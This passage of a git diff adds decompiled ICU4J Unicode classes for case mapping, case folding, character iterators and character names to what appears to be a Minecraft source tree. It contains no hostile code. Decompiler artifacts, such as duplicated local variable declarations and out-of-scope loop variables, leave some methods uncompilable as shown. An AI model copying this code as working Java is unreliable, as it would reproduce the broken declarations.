+  private static final byte[] flagsOffset = { 0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8 };
+  
+  public static final int MAX_STRING_LENGTH = 31;
+  
+  private static final int LOC_UNKNOWN = 0;
+  
+  private static final int LOC_ROOT = 1;
+  
+  private static final int LOC_TURKISH = 2;
+  private static final int LOC_LITHUANIAN = 3;
+  private static final String iDot = "i̇";
+  private static final String jDot = "j̇";
+  private static final String iOgonekDot = "į̇";
+  private static final String iDotGrave = "i̇̀";
+  private static final String iDotAcute = "i̇́";
+  private static final String iDotTilde = "i̇̃";
+  private static final int FOLD_CASE_OPTIONS_MASK = 255;
+  
+  private static final boolean hasSlot(int flags, int index)
+  {
+    return (flags & 1 << index) != 0;
+  }
+  
+  private static final byte slotOffset(int flags, int index) { return flagsOffset[(flags & (1 << index) - 1)]; }
+  
+
+
+
+  private final long getSlotValueAndOffset(int excWord, int index, int excOffset)
+  {
+    long value;
+    
+
+
+    long value;
+    
+
+    if ((excWord & 0x100) == 0) {
+      excOffset += slotOffset(excWord, index);
+      value = exceptions[excOffset];
+    } else {
+      excOffset += 2 * slotOffset(excWord, index);
+      value = exceptions[(excOffset++)];
+      value = value << 16 | exceptions[excOffset];
+    }
+    return value | excOffset << 32;
+  }
+  
+  private final int getSlotValue(int excWord, int index, int excOffset) {
+    int value;
+    int value;
+    if ((excWord & 0x100) == 0) {
+      excOffset += slotOffset(excWord, index);
+      value = exceptions[excOffset];
+    } else {
+      excOffset += 2 * slotOffset(excWord, index);
+      value = exceptions[(excOffset++)];
+      value = value << 16 | exceptions[excOffset];
+    }
+    return value;
+  }
+  
+
+  public final int tolower(int c)
+  {
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      if (getTypeFromProps(props) >= 2) {
+        c += getDelta(props);
+      }
+    } else {
+      int excOffset = getExceptionsOffset(props);
+      int excWord = exceptions[(excOffset++)];
+      if (hasSlot(excWord, 0)) {
+        c = getSlotValue(excWord, 0, excOffset);
+      }
+    }
+    return c;
+  }
+  
+  public final int toupper(int c) {
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      if (getTypeFromProps(props) == 1) {
+        c += getDelta(props);
+      }
+    } else {
+      int excOffset = getExceptionsOffset(props);
+      int excWord = exceptions[(excOffset++)];
+      if (hasSlot(excWord, 2)) {
+        c = getSlotValue(excWord, 2, excOffset);
+      }
+    }
+    return c;
+  }
+  
+  public final int totitle(int c) {
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      if (getTypeFromProps(props) == 1) {
+        c += getDelta(props);
+      }
+    } else {
+      int excOffset = getExceptionsOffset(props);
+      int excWord = exceptions[(excOffset++)];
+      int index;
+      if (hasSlot(excWord, 3)) {
+        index = 3; } else { int index;
+        if (hasSlot(excWord, 2)) {
+          index = 2;
+        } else
+          return c; }
+      int index;
+      c = getSlotValue(excWord, index, excOffset);
+    }
+    return c;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void addCaseClosure(int c, UnicodeSet set)
+  {
+    switch (c)
+    {
+    case 73: 
+      set.add(105);
+      return;
+    case 105: 
+      set.add(73);
+      return;
+    
+    case 304: 
+      set.add("i̇");
+      return;
+    
+    case 305: 
+      return;
+    }
+    
+    
+
+
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      if (getTypeFromProps(props) != 0)
+      {
+        int delta = getDelta(props);
+        if (delta != 0) {
+          set.add(c + delta);
+        }
+        
+      }
+      
+    }
+    else
+    {
+      int excOffset = getExceptionsOffset(props);
+      
+      int excWord = exceptions[(excOffset++)];
+      
+
+      int excOffset0 = excOffset;
+      
+
+      for (int index = 0; index <= 3; index++)
+        if (hasSlot(excWord, index)) {
+          excOffset = excOffset0;
+          c = getSlotValue(excWord, index, excOffset);
+          set.add(c);
+        }
+      int closureOffset;
+      int closureLength;
+      int closureOffset;
+      if (hasSlot(excWord, 6)) {
+        excOffset = excOffset0;
+        long value = getSlotValueAndOffset(excWord, 6, excOffset);
+        int closureLength = (int)value & 0xF;
+        closureOffset = (int)(value >> 32) + 1;
+      } else {
+        closureLength = 0;
+        closureOffset = 0;
+      }
+      
+
+      if (hasSlot(excWord, 7)) {
+        excOffset = excOffset0;
+        long value = getSlotValueAndOffset(excWord, 7, excOffset);
+        int fullLength = (int)value;
+        
+
+        excOffset = (int)(value >> 32) + 1;
+        
+        fullLength &= 0xFFFF;
+        
+
+        excOffset += (fullLength & 0xF);
+        fullLength >>= 4;
+        
+
+        int length = fullLength & 0xF;
+        if (length != 0) {
+          set.add(new String(exceptions, excOffset, length));
+          excOffset += length;
+        }
+        
+
+        fullLength >>= 4;
+        excOffset += (fullLength & 0xF);
+        fullLength >>= 4;
+        excOffset += fullLength;
+        
+        closureOffset = excOffset;
+      }
+      
+
+      for (index = 0; index < closureLength; index += UTF16.getCharCount(c)) {
+        c = UTF16.charAt(exceptions, closureOffset, exceptions.length, index);
+        set.add(c);
+      }
+    }
+  }
+  
+
+
+
+
+
+  private final int strcmpMax(String s, int unfoldOffset, int max)
+  {
+    int length = s.length();
+    max -= length;
+    int i1 = 0;
+    do {
+      int c1 = s.charAt(i1++);
+      int c2 = unfold[(unfoldOffset++)];
+      if (c2 == 0) {
+        return 1;
+      }
+      c1 -= c2;
+      if (c1 != 0) {
+        return c1;
+      }
+      length--; } while (length > 0);
+    
+
+    if ((max == 0) || (unfold[unfoldOffset] == 0)) {
+      return 0;
+    }
+    return -max;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final boolean addStringCaseClosure(String s, UnicodeSet set)
+  {
+    if ((unfold == null) || (s == null)) {
+      return false;
+    }
+    int length = s.length();
+    if (length <= 1)
+    {
+
+
+
+
+
+
+      return false;
+    }
+    
+    int unfoldRows = unfold[0];
+    int unfoldRowWidth = unfold[1];
+    int unfoldStringWidth = unfold[2];
+    
+
+    if (length > unfoldStringWidth)
+    {
+      return false;
+    }
+    
+
+    int start = 0;
+    int limit = unfoldRows;
+    while (start < limit) {
+      int i = (start + limit) / 2;
+      int unfoldOffset = (i + 1) * unfoldRowWidth;
+      int result = strcmpMax(s, unfoldOffset, unfoldStringWidth);
+      
+      if (result == 0)
+      {
+        int c;
+        
+        for (i = unfoldStringWidth; (i < unfoldRowWidth) && (unfold[(unfoldOffset + i)] != 0); i += UTF16.getCharCount(c)) {
+          c = UTF16.charAt(unfold, unfoldOffset, unfold.length, i);
+          set.add(c);
+          addCaseClosure(c, set);
+        }
+        return true; }
+      if (result < 0) {
+        limit = i;
+      } else {
+        start = i + 1;
+      }
+    }
+    
+    return false;
+  }
+  
+  public final int getType(int c)
+  {
+    return getTypeFromProps(trie.get(c));
+  }
+  
+  public final int getTypeOrIgnorable(int c)
+  {
+    return getTypeAndIgnorableFromProps(trie.get(c));
+  }
+  
+  public final int getDotType(int c)
+  {
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      return props & 0x60;
+    }
+    return exceptions[getExceptionsOffset(props)] >> '\007' & 0x60;
+  }
+  
+  public final boolean isSoftDotted(int c)
+  {
+    return getDotType(c) == 32;
+  }
+  
+  public final boolean isCaseSensitive(int c) {
+    return (trie.get(c) & 0x8) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int getCaseLocale(ULocale locale, int[] locCache)
+  {
+    int result;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if ((locCache != null) && ((result = locCache[0]) != 0)) {
+      return result;
+    }
+    
+    int result = 1;
+    
+    String language = locale.getLanguage();
+    if ((language.equals("tr")) || (language.equals("tur")) || (language.equals("az")) || (language.equals("aze"))) {
+      result = 2;
+    } else if ((language.equals("lt")) || (language.equals("lit"))) {
+      result = 3;
+    }
+    
+    if (locCache != null) {
+      locCache[0] = result;
+    }
+    return result;
+  }
+  
+
+
+  private final boolean isFollowedByCasedLetter(ContextIterator iter, int dir)
+  {
+    if (iter == null) {
+      return false;
+    }
+    int c;
+    for (iter.reset(dir); (c = iter.next()) >= 0;) {
+      int type = getTypeOrIgnorable(c);
+      if ((type & 0x4) == 0)
+      {
+        if (type != 0) {
+          return true;
+        }
+        return false;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  private final boolean isPrecededBySoftDotted(ContextIterator iter)
+  {
+    if (iter == null) {
+      return false;
+    }
+    int c;
+    for (iter.reset(-1); (c = iter.next()) >= 0;) {
+      int dotType = getDotType(c);
+      if (dotType == 32)
+        return true;
+      if (dotType != 96) {
+        return false;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final boolean isPrecededBy_I(ContextIterator iter)
+  {
+    if (iter == null) {
+      return false;
+    }
+    int c;
+    for (iter.reset(-1); (c = iter.next()) >= 0;) {
+      if (c == 73) {
+        return true;
+      }
+      int dotType = getDotType(c);
+      if (dotType != 96) {
+        return false;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  private final boolean isFollowedByMoreAbove(ContextIterator iter)
+  {
+    if (iter == null) {
+      return false;
+    }
+    int c;
+    for (iter.reset(1); (c = iter.next()) >= 0;) {
+      int dotType = getDotType(c);
+      if (dotType == 64)
+        return true;
+      if (dotType != 96) {
+        return false;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  private final boolean isFollowedByDotAbove(ContextIterator iter)
+  {
+    if (iter == null) {
+      return false;
+    }
+    int c;
+    for (iter.reset(1); (c = iter.next()) >= 0;) {
+      if (c == 775) {
+        return true;
+      }
+      int dotType = getDotType(c);
+      if (dotType != 96) {
+        return false;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int toFullLower(int c, ContextIterator iter, StringBuilder out, ULocale locale, int[] locCache)
+  {
+    int result = c;
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      if (getTypeFromProps(props) >= 2) {
+        result = c + getDelta(props);
+      }
+    } else {
+      int excOffset = getExceptionsOffset(props);
+      int excWord = exceptions[(excOffset++)];
+      
+
+      int excOffset2 = excOffset;
+      
+      if ((excWord & 0x4000) != 0)
+      {
+        int loc = getCaseLocale(locale, locCache);
+        
+
+
+
+
+
+
+        if ((loc == 3) && (((c != 73) && (c != 74) && (c != 302)) || ((isFollowedByMoreAbove(iter)) || (c == 204) || (c == 205) || (c == 296))))
+        {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          switch (c) {
+          case 73: 
+            out.append("i̇");
+            return 2;
+          case 74: 
+            out.append("j̇");
+            return 2;
+          case 302: 
+            out.append("į̇");
+            return 2;
+          case 204: 
+            out.append("i̇̀");
+            return 3;
+          case 205: 
+            out.append("i̇́");
+            return 3;
+          case 296: 
+            out.append("i̇̃");
+            return 3;
+          }
+          return 0;
+        }
+        
+        if ((loc == 2) && (c == 304))
+        {
+
+
+
+
+
+
+          return 105; }
+        if ((loc == 2) && (c == 775) && (isPrecededBy_I(iter)))
+        {
+
+
+
+
+
+
+          return 0; }
+        if ((loc == 2) && (c == 73) && (!isFollowedByDotAbove(iter)))
+        {
+
+
+
+
+
+          return 305; }
+        if (c == 304)
+        {
+
+
+
+
+          out.append("i̇");
+          return 2; }
+        if ((c == 931) && (!isFollowedByCasedLetter(iter, 1)) && (isFollowedByCasedLetter(iter, -1)))
+        {
+
+
+
+
+
+
+
+
+          return 962;
+        }
+        
+      }
+      else if (hasSlot(excWord, 7)) {
+        long value = getSlotValueAndOffset(excWord, 7, excOffset);
+        int full = (int)value & 0xF;
+        if (full != 0)
+        {
+          excOffset = (int)(value >> 32) + 1;
+          
+
+          out.append(exceptions, excOffset, full);
+          
+
+          return full;
+        }
+      }
+      
+      if (hasSlot(excWord, 0)) {
+        result = getSlotValue(excWord, 0, excOffset2);
+      }
+    }
+    
+    return result == c ? result ^ 0xFFFFFFFF : result;
+  }
+  
+
+
+
+
+
+
+  private final int toUpperOrTitle(int c, ContextIterator iter, StringBuilder out, ULocale locale, int[] locCache, boolean upperNotTitle)
+  {
+    int result = c;
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      if (getTypeFromProps(props) == 1) {
+        result = c + getDelta(props);
+      }
+    } else {
+      int excOffset = getExceptionsOffset(props);
+      int excWord = exceptions[(excOffset++)];
+      
+
+      int excOffset2 = excOffset;
+      
+      if ((excWord & 0x4000) != 0)
+      {
+        int loc = getCaseLocale(locale, locCache);
+        
+        if ((loc == 2) && (c == 105))
+        {
+
+
+
+
+
+
+
+
+
+
+          return 304; }
+        if ((loc == 3) && (c == 775) && (isPrecededBySoftDotted(iter)))
+        {
+
+
+
+
+
+
+
+
+          return 0;
+        }
+        
+      }
+      else if (hasSlot(excWord, 7)) {
+        long value = getSlotValueAndOffset(excWord, 7, excOffset);
+        int full = (int)value & 0xFFFF;
+        
+
+        excOffset = (int)(value >> 32) + 1;
+        
+
+        excOffset += (full & 0xF);
+        full >>= 4;
+        excOffset += (full & 0xF);
+        full >>= 4;
+        
+        if (upperNotTitle) {
+          full &= 0xF;
+        }
+        else {
+          excOffset += (full & 0xF);
+          full = full >> 4 & 0xF;
+        }
+        
+        if (full != 0)
+        {
+          out.append(exceptions, excOffset, full);
+          
+
+          return full;
+        }
+      }
+      int index;
+      if ((!upperNotTitle) && (hasSlot(excWord, 3))) {
+        index = 3; } else { int index;
+        if (hasSlot(excWord, 2))
+        {
+          index = 2;
+        } else
+          return c ^ 0xFFFFFFFF; }
+      int index;
+      result = getSlotValue(excWord, index, excOffset2);
+    }
+    
+    return result == c ? result ^ 0xFFFFFFFF : result;
+  }
+  
+
+  public final int toFullUpper(int c, ContextIterator iter, StringBuilder out, ULocale locale, int[] locCache)
+  {
+    return toUpperOrTitle(c, iter, out, locale, locCache, true);
+  }
+  
+
+  public final int toFullTitle(int c, ContextIterator iter, StringBuilder out, ULocale locale, int[] locCache)
+  {
+    return toUpperOrTitle(c, iter, out, locale, locCache, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int fold(int c, int options)
+  {
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      if (getTypeFromProps(props) >= 2) {
+        c += getDelta(props);
+      }
+    } else {
+      int excOffset = getExceptionsOffset(props);
+      int excWord = exceptions[(excOffset++)];
+      
+      if ((excWord & 0x8000) != 0)
+      {
+        if ((options & 0xFF) == 0)
+        {
+          if (c == 73)
+          {
+            return 105; }
+          if (c == 304)
+          {
+            return c;
+          }
+        }
+        else {
+          if (c == 73)
+          {
+            return 305; }
+          if (c == 304)
+          {
+            return 105; }
+        }
+      }
+      int index;
+      if (hasSlot(excWord, 1)) {
+        index = 1; } else { int index;
+        if (hasSlot(excWord, 0)) {
+          index = 0;
+        } else
+          return c; }
+      int index;
+      c = getSlotValue(excWord, index, excOffset);
+    }
+    return c;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int toFullFolding(int c, StringBuilder out, int options)
+  {
+    int result = c;
+    int props = trie.get(c);
+    if (!propsHasException(props)) {
+      if (getTypeFromProps(props) >= 2) {
+        result = c + getDelta(props);
+      }
+    } else {
+      int excOffset = getExceptionsOffset(props);
+      int excWord = exceptions[(excOffset++)];
+      
+
+      int excOffset2 = excOffset;
+      
+      if ((excWord & 0x8000) != 0)
+      {
+        if ((options & 0xFF) == 0)
+        {
+          if (c == 73)
+          {
+            return 105; }
+          if (c == 304)
+          {
+            out.append("i̇");
+            return 2;
+          }
+        }
+        else {
+          if (c == 73)
+          {
+            return 305; }
+          if (c == 304)
+          {
+            return 105;
+          }
+        }
+      } else if (hasSlot(excWord, 7)) {
+        long value = getSlotValueAndOffset(excWord, 7, excOffset);
+        int full = (int)value & 0xFFFF;
+        
+
+        excOffset = (int)(value >> 32) + 1;
+        
+
+        excOffset += (full & 0xF);
+        full = full >> 4 & 0xF;
+        
+        if (full != 0)
+        {
+          out.append(exceptions, excOffset, full);
+          
+
+          return full;
+        }
+      }
+      int index;
+      if (hasSlot(excWord, 1)) {
+        index = 1; } else { int index;
+        if (hasSlot(excWord, 0)) {
+          index = 0;
+        } else
+          return c ^ 0xFFFFFFFF; }
+      int index;
+      result = getSlotValue(excWord, index, excOffset2);
+    }
+    
+    return result == c ? result ^ 0xFFFFFFFF : result;
+  }
+  
+
+
+  private static final int[] rootLocCache = { 1 };
+  
+
+
+
+
+
+
+
+
+  public static final StringBuilder dummyStringBuilder = new StringBuilder();
+  private int[] indexes;
+  
+  public final boolean hasBinaryProperty(int c, int which) { switch (which) {
+    case 22: 
+      return 1 == getType(c);
+    case 30: 
+      return 2 == getType(c);
+    case 27: 
+      return isSoftDotted(c);
+    case 34: 
+      return isCaseSensitive(c);
+    case 49: 
+      return 0 != getType(c);
+    case 50: 
+      return getTypeOrIgnorable(c) >> 2 != 0;
+    
+
+
+
+
+
+
+
+
+
+
+
+    case 51: 
+      dummyStringBuilder.setLength(0);
+      return toFullLower(c, null, dummyStringBuilder, ULocale.ROOT, rootLocCache) >= 0;
+    case 52: 
+      dummyStringBuilder.setLength(0);
+      return toFullUpper(c, null, dummyStringBuilder, ULocale.ROOT, rootLocCache) >= 0;
+    case 53: 
+      dummyStringBuilder.setLength(0);
+      return toFullTitle(c, null, dummyStringBuilder, ULocale.ROOT, rootLocCache) >= 0;
+    
+    case 55: 
+      dummyStringBuilder.setLength(0);
+      return (toFullLower(c, null, dummyStringBuilder, ULocale.ROOT, rootLocCache) >= 0) || (toFullUpper(c, null, dummyStringBuilder, ULocale.ROOT, rootLocCache) >= 0) || (toFullTitle(c, null, dummyStringBuilder, ULocale.ROOT, rootLocCache) >= 0);
+    }
+    
+    
+
+    return false;
+  }
+  
+
+
+  private char[] exceptions;
+  
+  private char[] unfold;
+  
+  private Trie2_16 trie;
+  
+  private static final String DATA_NAME = "ucase";
+  
+  private static final String DATA_TYPE = "icu";
+  
+  private static final String DATA_FILE_NAME = "ucase.icu";
+  
+  private static final byte[] FMT = { 99, 65, 83, 69 };
+  
+  private static final int IX_TRIE_SIZE = 2;
+  
+  private static final int IX_EXC_LENGTH = 3;
+  private static final int IX_UNFOLD_LENGTH = 4;
+  private static final int IX_TOP = 16;
+  public static final int TYPE_MASK = 3;
+  public static final int NONE = 0;
+  public static final int LOWER = 1;
+  public static final int UPPER = 2;
+  public static final int TITLE = 3;
+  private static final int SENSITIVE = 8;
+  private static final int EXCEPTION = 16;
+  private static final int DOT_MASK = 96;
+  private static final int SOFT_DOTTED = 32;
+  private static final int ABOVE = 64;
+  private static final int OTHER_ACCENT = 96;
+  private static final int DELTA_SHIFT = 7;
+  
+  private static final int getTypeFromProps(int props)
+  {
+    return props & 0x3;
+  }
+  
+  private static final int getTypeAndIgnorableFromProps(int props) {
+    return props & 0x7;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int getDelta(int props)
+  {
+    return (short)props >> 7;
+  }
+  
+
+
+
+  private static final int EXC_SHIFT = 5;
+  
+
+
+  private static final int EXC_LOWER = 0;
+  
+
+
+  private static final int EXC_FOLD = 1;
+  
+
+
+  private static final int EXC_UPPER = 2;
+  
+
+  private static final int EXC_TITLE = 3;
+  
+
+  private static final int EXC_CLOSURE = 6;
+  
+
+  private static final int EXC_FULL_MAPPINGS = 7;
+  
+
+  private static final int EXC_DOUBLE_SLOTS = 256;
+  
+
+  private static final int EXC_DOT_SHIFT = 7;
+  
+
+  private static final int EXC_CONDITIONAL_SPECIAL = 16384;
+  
+
+  private static final int EXC_CONDITIONAL_FOLD = 32768;
+  
+
+  private static final int FULL_LOWER = 15;
+  
+
+  private static final int CLOSURE_MAX_LENGTH = 15;
+  
+
+  private static final int UNFOLD_ROWS = 0;
+  
+
+  private static final int UNFOLD_ROW_WIDTH = 1;
+  
+
+  private static final int UNFOLD_STRING_WIDTH = 2;
+  
+
+  public static final UCaseProps INSTANCE;
+  
+
+  static
+  {
+    try
+    {
+      INSTANCE = new UCaseProps();
+    } catch (IOException e) {
+      throw new RuntimeException(e);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UCharArrayIterator.java b/src/minecraft/com/ibm/icu/impl/UCharArrayIterator.java
new file mode 100644
index 0000000..e39eb28
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UCharArrayIterator.java
@@ -0,0 +1,83 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UCharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+public final class UCharArrayIterator
+  extends UCharacterIterator
+{
+  private final char[] text;
+  private final int start;
+  private final int limit;
+  private int pos;
+  
+  public UCharArrayIterator(char[] text, int start, int limit)
+  {
+    if ((start < 0) || (limit > text.length) || (start > limit)) {
+      throw new IllegalArgumentException("start: " + start + " or limit: " + limit + " out of range [0, " + text.length + ")");
+    }
+    
+
+    this.text = text;
+    this.start = start;
+    this.limit = limit;
+    
+    pos = start;
+  }
+  
+  public int current() {
+    return pos < limit ? text[pos] : -1;
+  }
+  
+  public int getLength() {
+    return limit - start;
+  }
+  
+  public int getIndex() {
+    return pos - start;
+  }
+  
+  public int next() {
+    return pos < limit ? text[(pos++)] : -1;
+  }
+  
+  public int previous() {
+    return pos > start ? text[(--pos)] : -1;
+  }
+  
+  public void setIndex(int index) {
+    if ((index < 0) || (index > limit - start)) {
+      throw new IndexOutOfBoundsException("index: " + index + " out of range [0, " + (limit - start) + ")");
+    }
+    
+
+    pos = (start + index);
+  }
+  
+  public int getText(char[] fillIn, int offset) {
+    int len = limit - start;
+    System.arraycopy(text, start, fillIn, offset, len);
+    return len;
+  }
+  
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    } catch (CloneNotSupportedException e) {}
+    return null;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UCharacterIteratorWrapper.java b/src/minecraft/com/ibm/icu/impl/UCharacterIteratorWrapper.java
new file mode 100644
index 0000000..9b8cf31
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UCharacterIteratorWrapper.java
@@ -0,0 +1,138 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UCharacterIterator;
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+public class UCharacterIteratorWrapper
+  implements CharacterIterator
+{
+  private UCharacterIterator iterator;
+  
+  public UCharacterIteratorWrapper(UCharacterIterator iter)
+  {
+    iterator = iter;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public char first()
+  {
+    iterator.setToStart();
+    return (char)iterator.current();
+  }
+  
+
+
+
+
+
+  public char last()
+  {
+    iterator.setToLimit();
+    return (char)iterator.previous();
+  }
+  
+
+
+
+
+
+  public char current()
+  {
+    return (char)iterator.current();
+  }
+  
+
+
+
+
+
+
+
+
+  public char next()
+  {
+    iterator.next();
+    return (char)iterator.current();
+  }
+  
+
+
+
+
+
+
+
+  public char previous()
+  {
+    return (char)iterator.previous();
+  }
+  
+
+
+
+
+
+
+
+  public char setIndex(int position)
+  {
+    iterator.setIndex(position);
+    return (char)iterator.current();
+  }
+  
+
+
+
+
+  public int getBeginIndex()
+  {
+    return 0;
+  }
+  
+
+
+
+
+  public int getEndIndex()
+  {
+    return iterator.getLength();
+  }
+  
+
+
+
+  public int getIndex()
+  {
+    return iterator.getIndex();
+  }
+  
+
+
+  public Object clone()
+  {
+    try
+    {
+      UCharacterIteratorWrapper result = (UCharacterIteratorWrapper)super.clone();
+      iterator = ((UCharacterIterator)iterator.clone());
+      return result;
+    } catch (CloneNotSupportedException e) {}
+    return null;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UCharacterName.java b/src/minecraft/com/ibm/icu/impl/UCharacterName.java
new file mode 100644
index 0000000..930ef14
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UCharacterName.java
@@ -0,0 +1,1665 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.text.UnicodeSet;
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Locale;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UCharacterName
+{
+  public static final UCharacterName INSTANCE;
+  public static final int LINES_PER_GROUP_ = 32;
+  
+  static
+  {
+    try
+    {
+      INSTANCE = new UCharacterName();
+    }
+    catch (IOException e) {
+      throw new MissingResourceException("Could not construct UCharacterName. Missing unames.icu", "", "");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int m_groupcount_ = 0;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getName(int ch, int choice)
+  {
+    if ((ch < 0) || (ch > 1114111) || (choice > 4))
+    {
+      return null;
+    }
+    
+    String result = null;
+    
+    result = getAlgName(ch, choice);
+    
+
+    if ((result == null) || (result.length() == 0)) {
+      if (choice == 2) {
+        result = getExtendedName(ch);
+      } else {
+        result = getGroupName(ch, choice);
+      }
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  public int getCharFromName(int choice, String name)
+  {
+    if ((choice >= 4) || (name == null) || (name.length() == 0))
+    {
+      return -1;
+    }
+    
+
+    int result = getExtendedChar(name.toLowerCase(Locale.ENGLISH), choice);
+    if (result >= -1) {
+      return result;
+    }
+    
+    String upperCaseName = name.toUpperCase(Locale.ENGLISH);
+    
+
+
+    if ((choice == 0) || (choice == 2))
+    {
+
+      int count = 0;
+      if (m_algorithm_ != null) {
+        count = m_algorithm_.length;
+      }
+      for (count--; count >= 0; count--) {
+        result = m_algorithm_[count].getChar(upperCaseName);
+        if (result >= 0) {
+          return result;
+        }
+      }
+    }
+    
+    if (choice == 2) {
+      result = getGroupChar(upperCaseName, 0);
+      
+      if (result == -1) {
+        result = getGroupChar(upperCaseName, 3);
+      }
+    }
+    else
+    {
+      result = getGroupChar(upperCaseName, choice);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getGroupLengths(int index, char[] offsets, char[] lengths)
+  {
+    char length = 65535;
+    byte b = 0;
+    byte n = 0;
+    
+    index *= m_groupsize_;
+    int stringoffset = UCharacterUtility.toInt(m_groupinfo_[(index + 1)], m_groupinfo_[(index + 2)]);
+    
+
+
+    offsets[0] = '\000';
+    
+
+
+    for (int i = 0; i < 32; stringoffset++) {
+      b = m_groupstring_[stringoffset];
+      int shift = 4;
+      
+      while (shift >= 0)
+      {
+        n = (byte)(b >> shift & 0xF);
+        if ((length == 65535) && (n > 11)) {
+          length = (char)(n - 12 << 4);
+        }
+        else {
+          if (length != 65535) {
+            lengths[i] = ((char)((length | n) + '\f'));
+          }
+          else {
+            lengths[i] = ((char)n);
+          }
+          
+          if (i < 32) {
+            offsets[(i + 1)] = ((char)(offsets[i] + lengths[i]));
+          }
+          
+          length = 65535;
+          i++;
+        }
+        
+        shift -= 4;
+      }
+    }
+    return stringoffset;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getGroupName(int index, int length, int choice)
+  {
+    if ((choice != 0) && (choice != 2))
+    {
+
+      if ((59 >= m_tokentable_.length) || (m_tokentable_[59] == 65535))
+      {
+
+
+
+        int fieldIndex = choice == 4 ? 2 : choice;
+        do {
+          int oldindex = index;
+          index += UCharacterUtility.skipByteSubString(m_groupstring_, index, length, (byte)59);
+          
+          length -= index - oldindex;
+          fieldIndex--; } while (fieldIndex > 0);
+
+      }
+      else
+      {
+
+        length = 0;
+      }
+    }
+    
+    synchronized (m_utilStringBuffer_) {
+      m_utilStringBuffer_.delete(0, m_utilStringBuffer_.length());
+      
+
